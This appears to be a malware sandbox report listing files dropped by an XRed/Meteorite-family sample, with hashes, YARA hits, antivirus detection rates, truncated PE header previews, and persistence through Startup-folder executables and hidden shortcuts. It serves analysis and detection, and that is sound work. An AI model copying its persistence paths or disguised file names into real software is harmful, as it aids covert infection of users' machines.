Process:	C:\Program Files (x86)\1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	830976
Entropy (8bit):	6.743094412845321
Encrypted:	false
SSDEEP:	12288:xMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9oKXMg14ldj:xnsJ39LyjbJkQFMhmC+6GD9+vF
MD5:	D026CFE00B08DA14B0A8B7F8860887D7
SHA1:	08EF96351067F151C19B9CC21605EA018FB43A18
SHA-256:	E261D309F30DE33A1BA0AA43604DB15F3326C6C8C5B291BDD52F18EA361FE3DD
SHA-512:	4EF560FF8C6A9A143B9365884C0C999A1FBF5EE638F170AD96ADD2B8B56933038D573CB31F45724A7F1A7B6A35CD2557344BD55C746FC9E9DA38ECD3BDD6361D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe

Download File

Process:	C:\Program Files (x86)\4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12970
Entropy (8bit):	4.592916429638264
Encrypted:	false
SSDEEP:	192:Gj2vcC0eR0LwiK7wT5fWhm4nJBwaFTFyMCnj4mofRL6tU1:GjtjeROK7wT5fWhm4n/wUZo4moZL6m
MD5:	110A1568963118F3ACE3FCBE886A5014
SHA1:	1FDAB62BB3A0D1D281C24D890F1E75731A660373
SHA-256:	5268461A1CFE7FA7322EB1EBC97BB6695EBEF101AE42AF3AFA844A9DDF7017A6
SHA-512:	4738298B8254568E6DD74C62222BB024FE68C6BA6E5B8EA946BD60397FD7FDCC081384482755E82A8DE492895C87B1EF5EFDE71972A54E46D7EC400DE2973B1D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 91%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&R..G<..G<..G<....G<.....G<..?...G<..G=..G<.....G<....G<.Rich.G<.........PE..L....!.g.....................<......z........ ....@.......................................@.................................x2..<.................................................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...L!...@.......(..............@....CRT.........p.......*..............@..@.reloc...............,..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Download File

Process:	C:\Windows\wic.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sat Nov 2 13:16:07 2024, mtime=Sat Nov 2 13:16:13 2024, atime=Sat Nov 2 12:00:35 2024, length=295424, window=hide
Category:	dropped
Size (bytes):	795
Entropy (8bit):	4.780602957967742
Encrypted:	false
SSDEEP:	24:8+52kaszxaOA9+WZ2+J2bMQdpOpGhmxG:8g2hsFaVjYMEXdpu0Q
MD5:	64C03FC25A3910E81DD3546B9F3AD9DC
SHA1:	91FAB936A1C333B2E8CE2E5F265AD70B391CC837
SHA-256:	8C510C1B0BF0150FDA99F7ECCA9D82D7671C9839CC719226B5F06E95BCF814AF
SHA-512:	205431CEC31F540C50D0694FAF917F0FCA845A9FAA1552BA80495CAAC21FF35F9B917C5B19A015A01CE7A1494F2FA4E4A7BB4381C1049599266FA8E3C84AB9D3
Malicious:	false
Preview:	L..................F.... ....".1-...}..1-.....4'-...............................P.O. .:i.....+00.../C:\...................V.1.....^Yey..Windows.@......OwHbYik....8.....................-...W.i.n.d.o.w.s.....Z.2.....bY.h .cbas.exe..B......bY.rbY.r.....R........................c.b.a.s...e.x.e.......B...............-.......A............e=(.....C:\Windows\cbas.exe........\.....\.....\.W.i.n.d.o.w.s.\.c.b.a.s...e.x.e...C.:.\.W.i.n.d.o.w.s.........$..................C..B..g..(.#....`.......X.......desktop-41g4k28..P....A....r.............).J..P....A....r.............).J.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.5.7.4.2.7.7.0.1.6.-.1.5.6.3.0.8.5.8.6.1.-.2.1.0.3.6.0.1.2.2.7.-.1.0.0.0.........9...1SPS..mD..pH.H@..=x.....h....H.....K.X..K..cf................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe

Download File

Process:	C:\Program Files (x86)\4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17578
Entropy (8bit):	4.664422564409853
Encrypted:	false
SSDEEP:	384:KUW+Y3/FTM6hooyTZuNdUHElY6yMS6KodYfzW8YZGrmoZLFQR:KUWFdTM6hfM1HElFDvKQYfzdYZOC
MD5:	A0F270AD119216C8200862C636F7BEFB
SHA1:	7104C0D3FBFD2B4B888960F82DFD2A0FA7DF08D6
SHA-256:	597C8B230898A37E6E9C004DB74BD5AD1F8C71B058B0371A12BF6F32536CAA3D
SHA-512:	0CE42BB44BB5E19AD61C563D7245A8E0838EB3728DA4FC18B14AD5EA202BFB3032248AD81D740531186BBDF8A961495B7889CCD0CE67909975EBA37F4B0ED348
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&R..G<..G<..G<....G<.....G<..?...G<..G=..G<.....G<....G<.Rich.G<.........PE..L.....#g.....................N......z........ ....@.......................................@..................................B..<.................................................................................... ...............................text............................... ..`.rdata...$... ...&..................@..@.data...."...P.......:..............@....CRT.................<..............@..@.reloc...............>..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe

Download File

Process:	C:\Program Files (x86)\4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9872
Entropy (8bit):	6.582338874776353
Encrypted:	false
SSDEEP:	96:75yFmm11gDnLWB0x6sBA0wHN7m8oB4eXMMhb/WJMepdgPYXa5yQILwKQMlZZptg:7i9oLE0xa0wt71MXMMFypdgPuLQILH0
MD5:	1EDB88F9EE745EAAEE2CBD8219318EB0
SHA1:	6561C12D51090972B6F866F38F8ED281C5C83313
SHA-256:	0AC1125284E2600D3714C0226F800F4D8D9AA291FA299BB1D33B7D8984B5E1C0
SHA-512:	A2A20A70C9E1DB729F716706796027A5C9002AD000E75C0DCED3ECE6F26D76EE0803ACC31D3A116266E711EC6A16D33C0668412238DFE0F128F3A841232FF4C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........FR..'<..'<..'<..v.'<..v..'<.._...'<..'=..'<..u..'<..u.'<.Rich.'<.........................PE..L...:.f................. ........................@.......................................@.........................................................................................................................................................UPX0....................................UPX1..... ..........................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................2.02.UPX!....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	830976
Entropy (8bit):	6.743094412845321
Encrypted:	false
SSDEEP:	12288:xMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9oKXMg14ldj:xnsJ39LyjbJkQFMhmC+6GD9+vF
MD5:	D026CFE00B08DA14B0A8B7F8860887D7
SHA1:	08EF96351067F151C19B9CC21605EA018FB43A18
SHA-256:	E261D309F30DE33A1BA0AA43604DB15F3326C6C8C5B291BDD52F18EA361FE3DD
SHA-512:	4EF560FF8C6A9A143B9365884C0C999A1FBF5EE638F170AD96ADD2B8B56933038D573CB31F45724A7F1A7B6A35CD2557344BD55C746FC9E9DA38ECD3BDD6361D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wic[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3483648
Entropy (8bit):	7.130127005924049
Encrypted:	false
SSDEEP:	98304:AC4igShR3sZxWFJhbmp2KuSKafRJFLOAkGkzdnEVomFHKnP:F4ifqEwuSKanFLOyomFHKnP
MD5:	6AD65B03E75BC5509BA3104510178EE6
SHA1:	DBA73F97938D2DAB4BF8FB8076B363DB82AD3A16
SHA-256:	4D74EB72321C5137ED364541DEEF19DDC30593FFF62ABAB2A3D17A0BAD7BD5C6
SHA-512:	976C7ABA50E17271F6AEA4AB80E7BC89E68727164D98D99566E0752B4989D716A849B0CC53F0321A53DCE6086EF4CAB1604AAE8456CE76BFEACF185137AA8BA8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.3.#.].#.].#.].F.^.=.].F.Y...].F.X...].F.[. .].q.Y...].q.^.:.].q.X._.].F.\...].#.\.5.]...T. .].....".].#..".]..._.".].Rich#.].................PE..L....>&g.....................R...............0....@...........................5...........@..................................[..\|....P.......................p3..2......p...............................@............0...............................text............................... ..`.rdata...b...0...d..................@..@.data...........^..................@....rsrc........P......................@..@.reloc...2...p3..4....2.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9872
Entropy (8bit):	6.582338874776353
Encrypted:	false
SSDEEP:	96:75yFmm11gDnLWB0x6sBA0wHN7m8oB4eXMMhb/WJMepdgPYXa5yQILwKQMlZZptg:7i9oLE0xa0wt71MXMMFypdgPuLQILH0
MD5:	1EDB88F9EE745EAAEE2CBD8219318EB0
SHA1:	6561C12D51090972B6F866F38F8ED281C5C83313
SHA-256:	0AC1125284E2600D3714C0226F800F4D8D9AA291FA299BB1D33B7D8984B5E1C0
SHA-512:	A2A20A70C9E1DB729F716706796027A5C9002AD000E75C0DCED3ECE6F26D76EE0803ACC31D3A116266E711EC6A16D33C0668412238DFE0F128F3A841232FF4C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........FR..'<..'<..'<..v.'<..v..'<.._...'<..'=..'<..u..'<..u.'<.Rich.'<.........................PE..L...:.f................. ........................@.......................................@.........................................................................................................................................................UPX0....................................UPX1..... ..........................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................2.02.UPX!....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msslac[1].dll

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	208896
Entropy (8bit):	6.070094852016993
Encrypted:	false
SSDEEP:	3072:gPTXczuCIcS5TqD4ejPXptBacZEvDkFOS94NtP6p6TQceOM:mszGT5TqEer9a6Evw26pK
MD5:	5E3BC49297F0765C486693790157273F
SHA1:	7CFD2A0465B27C7201C5F096495201D16F5771EB
SHA-256:	7420929E197D7328C047B8CB9075258367AC58935A8DA197F0A8A8C856292633
SHA-512:	6F7E2948C72398422B160D735E8D133EB95F91567820AC9C8853AA75CF2B1F9712242F538950BF969B9A0933FE659CDA0CDF2DB77B34FF22A99A875FB392D612
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s.............q.....q.........g.............#.......................................Rich....................PE..L.....&g...........!......... ......B........................................p......)T...............................{..C...pg...........:................... ..x...p................................C..@....................f..@....................text...^........................... ..`.rdata...k.......p..................@..@.data...\|Z....... ..................@....rsrc....:.......@..................@..@.reloc...I... ...P..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\4[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346414
Entropy (8bit):	6.861892987708496
Encrypted:	false
SSDEEP:	6144:jiubWrNSOetO6cprlQAOWizGLIoSdQX+tJs0/br:uubsNSOetfARQAPyGU2X+tZ/n
MD5:	39E7BE73C7531AC895F75834FDC1BCD6
SHA1:	646B88B488CF673C38B56FE7748C70B31BB29FC3
SHA-256:	A176E32335D81E69906F1C062E62247E97B8863F2C6148A36713E5BED5D16195
SHA-512:	E5C34EF2D309EF2071495A359999B9F8DBEB6D7DB1DAA67E82494D71B0F1E888D0958B5A503CB3B0E505B70F26CFEFE362D6301599143BEDB40A19FDB60EF072
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w..w..w..<.V.w..<.T..w..<.U.w....Z.w......w......w......w...$.w...4.w..w..v......w......w....X.w......w..Rich.w..........PE..L......d...............!.....................@....@..........................p............@.............................4.......P....`..t....................@...#......T............................f..@............@..x...\... ....................text....-.......................... ..`.rdata......@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc........`......................@..@.reloc...#...@...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\cbas[1].lnk

Download File

Process:	C:\Windows\wic.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sat Nov 2 13:16:07 2024, mtime=Sat Nov 2 13:16:13 2024, atime=Sat Nov 2 12:00:35 2024, length=295424, window=hide
Category:	dropped
Size (bytes):	795
Entropy (8bit):	4.780602957967742
Encrypted:	false
SSDEEP:	24:8+52kaszxaOA9+WZ2+J2bMQdpOpGhmxG:8g2hsFaVjYMEXdpu0Q
MD5:	64C03FC25A3910E81DD3546B9F3AD9DC
SHA1:	91FAB936A1C333B2E8CE2E5F265AD70B391CC837
SHA-256:	8C510C1B0BF0150FDA99F7ECCA9D82D7671C9839CC719226B5F06E95BCF814AF
SHA-512:	205431CEC31F540C50D0694FAF917F0FCA845A9FAA1552BA80495CAAC21FF35F9B917C5B19A015A01CE7A1494F2FA4E4A7BB4381C1049599266FA8E3C84AB9D3
Malicious:	false
Preview:	L..................F.... ....".1-...}..1-.....4'-...............................P.O. .:i.....+00.../C:\...................V.1.....^Yey..Windows.@......OwHbYik....8.....................-...W.i.n.d.o.w.s.....Z.2.....bY.h .cbas.exe..B......bY.rbY.r.....R........................c.b.a.s...e.x.e.......B...............-.......A............e=(.....C:\Windows\cbas.exe........\.....\.....\.W.i.n.d.o.w.s.\.c.b.a.s...e.x.e...C.:.\.W.i.n.d.o.w.s.........$..................C..B..g..(.#....`.......X.......desktop-41g4k28..P....A....r.............).J..P....A....r.............).J.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.5.7.4.2.7.7.0.1.6.-.1.5.6.3.0.8.5.8.6.1.-.2.1.0.3.6.0.1.2.2.7.-.1.0.0.0.........9...1SPS..mD..pH.H@..=x.....h....H.....K.X..K..cf................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4645376
Entropy (8bit):	7.861574505223912
Encrypted:	false
SSDEEP:	98304:3nsmtk2aqBB6wcOBfKGSUjkO80kI//gmiklAV+vuGKiSB8zI9ShRbfVdsFWV:3LxiGtJkI/9JQ+vuziSXkfBdko
MD5:	85A57509DB3E9DFA7B4E451B8243220D
SHA1:	EE21F93372218959F8B3DCEFAA2C680D857E9E52
SHA-256:	FCD8D4592CF92FB9F9235A2774CDC8AFF4265D4015269FB7AA995182F8CE26E1
SHA-512:	104615F2366E06CBBA58A87F2E01D6806C1871C29AF8277E06FCDB385F4AE6BEB37C3BAFD861C320A01303A287A68AE9B5D8640F29A39C21FE38AD9803EBE00D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................B=...................@..........................@G..................@..............................B......x9<..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...x9<......:<.................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295424
Entropy (8bit):	6.538320460768025
Encrypted:	false
SSDEEP:	6144:f+VQ8IwL+ws3cGW4sUwbSQ5LXqAKMQ0LAObegN:f+VDrrGW4sUwbSQpQ0LFey
MD5:	9FD7C0ACC95C7F1311BDE279D0B6A03A
SHA1:	D4F4669166DA05A147EFC8CCC0EEE9AFCA11E31C
SHA-256:	C79ED70E47990280B90BDC01049AF041B331E1559CFC34D3721B5AAB3E0A75D1
SHA-512:	CD8F0FB24B6E390249049507684C4C84D57A4C4BE9C5260C41A64C7B875D71FCE925582286A9D409D97797B33C2643F87EEA264505CB2103D20EAD6C82657B6A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.b.............z.......z......z.......[.......z..............[...I...[...(........................Rich....................PE..L...s"&g.....................v......,:.......0....@.......................................@.................................xG..<...............................L......p...........................0...@............0...............................text............................... ..`.rdata.."...0...$..................@..@.data...@ ...`.......@..............@....rsrc................R..............@..@.reloc..L*.......,...V..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.626509498726225
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IMr:ansJ39LyjbJkQFMhmC+6GD9H
MD5:	00367A9FAA8069389A97267D772563E8
SHA1:	1C5301544B6B3FC11B71B6A2EBBD1D40F193619E
SHA-256:	2B451F3AE3ABEE380824404CDF795090102D57D7D369D861EC3BDA35528F2DF0
SHA-512:	D31767C02686D40BC60BC7439D9708EC6D67A904AF12A150650174BFCC0C432E3C5A3DCA87710EB06E2FE97903805B7C01949274F9C9DE3EA05187F4DF457EB5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\HjsFu2ta.ico

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 colors
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.6716997814064625
Encrypted:	false
SSDEEP:	24:GIwewME/cE/xrnH+6666xF6666xf/b2Brw2Br4/RxhxkirrsirrnDvDeDx/XJ:FHIX5rnHQ/LcwcCrRDvDeDb
MD5:	30A1F328716B6782D8A033DC5004DDE5
SHA1:	C915B532DCB3DA2E851385867E31AAA89876278C
SHA-256:	46C4A5805F8028B15C826EDAAAF8C4C098F3640615BC9A4DC0C1A2288D02B0E7
SHA-512:	2A402C425053D32AF253AB979AD1465D2873EAFE1BDBA326562AB49AC39D63207960957449A7CCC233D011052A923D3EE29F57AF923A9106283ABB77C6BE39A6
Malicious:	false
Preview:	...... .............(... ...@..... .................................................T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...s...s...........................................T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...s...s...........................................b...b...b...b...b...b...a...a...Y...Y...T...T...b...b...b...b...b...b...b...b...................................................b...b...b...b...b...b...a...a...Y...Y...T...T...b...b...b...b...b...b...b...b..........................................................................................._..._..........................................................................................................................._..._...................................................................................................................................X...X.............................................................................................

C:\Users\user\AppData\Local\Temp\RCXF308.tmp

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	778240
Entropy (8bit):	6.6240473196681755
Encrypted:	false
SSDEEP:	12288:qMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9kxj:qnsJ39LyjbJkQFMhmC+6GD9C
MD5:	B23FC8AFE875DC99D68C543D776BB58D
SHA1:	AC64A4A1D9297B78A8393E9CDD0609009956DA9B
SHA-256:	38317B1DBEB3A8A8204D74F97BCF4A8B5A7A6A8FD22F40C0403880AF27F5D820
SHA-512:	B4F236784A706CF93C0769369D24919DC7118A5C2D1F1CF7C10F70850BE11F666C95A3D5C560BCADB3B3EA6A4BCC5790604E5E82D88CBDA9AEAA32BB056D9DFF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, Author: Joe Security Rule: MALWARE_Win_Meteorite, Description: Detects Meteorite downloader, Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................@....................@..........................@...................@..............................B......07...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...07.......8..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\RCXF376.tmp

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	778240
Entropy (8bit):	6.625613104693741
Encrypted:	false
SSDEEP:	12288:qMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9kJj:qnsJ39LyjbJkQFMhmC+6GD9a
MD5:	BFEEB337E2E75AF21DC4CF7DDA131F44
SHA1:	87ACAF46B3DB499EE1BAAE058493EEB8B92E7644
SHA-256:	7EBF384E2960F26A0F9D76DD8E4A1090326AA2E02019E7686A8A99641A6ABB49
SHA-512:	975DA4E02F010E366EDBEDBC199BE2BEAA482D923D7100C6B8771BDED87D824560F6C718C4E8DF3221231C40179C7EC4EFA89948550E2A488146955A5B9B20F7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, Author: Joe Security Rule: MALWARE_Win_Meteorite, Description: Detects Meteorite downloader, Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................@....................@..........................@...................@..............................B......07...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...07.......8..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\SiyGYB3T.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\aByzSrC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255275263873432
Encrypted:	false
SSDEEP:	24:GgsF+0FSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	334970C16A1DBCC21DE972A327282883
SHA1:	5A3A6140C650EC8E433B3F2393EBE768B5FCDA72
SHA-256:	EE71F37EFD3E70619C6B42CDFA51D0A0EC8B8697BC60ED154ECCDF49E0135206
SHA-512:	0B08F63845B89591964953A0E8147F980C1108DBE9F3BF18365CCCF0FC74B8E74E3ED6C1750553E372D86B026A45071EE61A1C551183E044A728A63BBDBF610F
Malicious:	false
